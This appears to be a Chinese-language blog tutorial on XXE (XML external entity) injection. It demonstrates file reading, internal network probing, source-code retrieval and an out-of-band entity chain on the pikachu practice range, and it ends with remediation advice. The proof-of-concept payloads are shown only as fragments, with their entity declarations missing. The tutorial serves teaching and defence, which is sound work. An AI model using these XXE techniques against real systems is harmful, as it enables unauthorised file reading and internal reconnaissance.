XXE漏洞详解
0X00-引言
满纸荒唐言,一把辛酸泪!
都云作者痴,谁解其中味?
渗透不归路,快跑啊
0X01-漏洞描述
XML外部实体注入简称XXE
漏洞。XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义,文档元素。
内部声明是直接在XML文件内部声明的,对于安全人员来说基本没用。
外部声明是引用XML以外的文件,有风险。
外部实体注入可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等等。
如果想深入了解XXE,需要先学一手XML-
0X02-pikachu靶场XXE漏洞演示
01-测试漏洞是否存在
由于XML的标签可以自己定义,所以我们构造POC进行测试
POC:
aaa
提交回显
02-任意文件读取
POC:
<?xml version="1.0" encoding="utf-8"?>
]>
&goodies;
看一下源码-没过滤点-直接SimpleXMLElement提取xml节点-接着直接执行外部实体命令-造成外部实体注入
simplexml_load_string()
函数转换形式良好的 XML 字符串为SimpleXMLElement
对象
$xml
是xml字符串 LIBXML_NOENT
替代实体
03-内网ip探测
POC:
<?xml version="1.0" encoding="utf-8"?>
]>
&goodies;
base64解码即可知道存在地址
也可以通过burp重放遍历开放端口
04-探测内网系统源码
POC:
<?xml version="1.0" encoding="utf-8"?>
]>
&goodies;
05-连接SSH
前提是靶机打开SSH
POC:
%remote;%int;%send;
]>
DTD文件:
<?xml version="1.0" encoding="UTF-8"?>
">
0X03-修复建议
-
禁止使用外部实体,(PHP:可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体)
-
过滤用户提交的XML数据,如SYSTEM、PUBLIC等等
0X04-参考
这篇文章写得好啊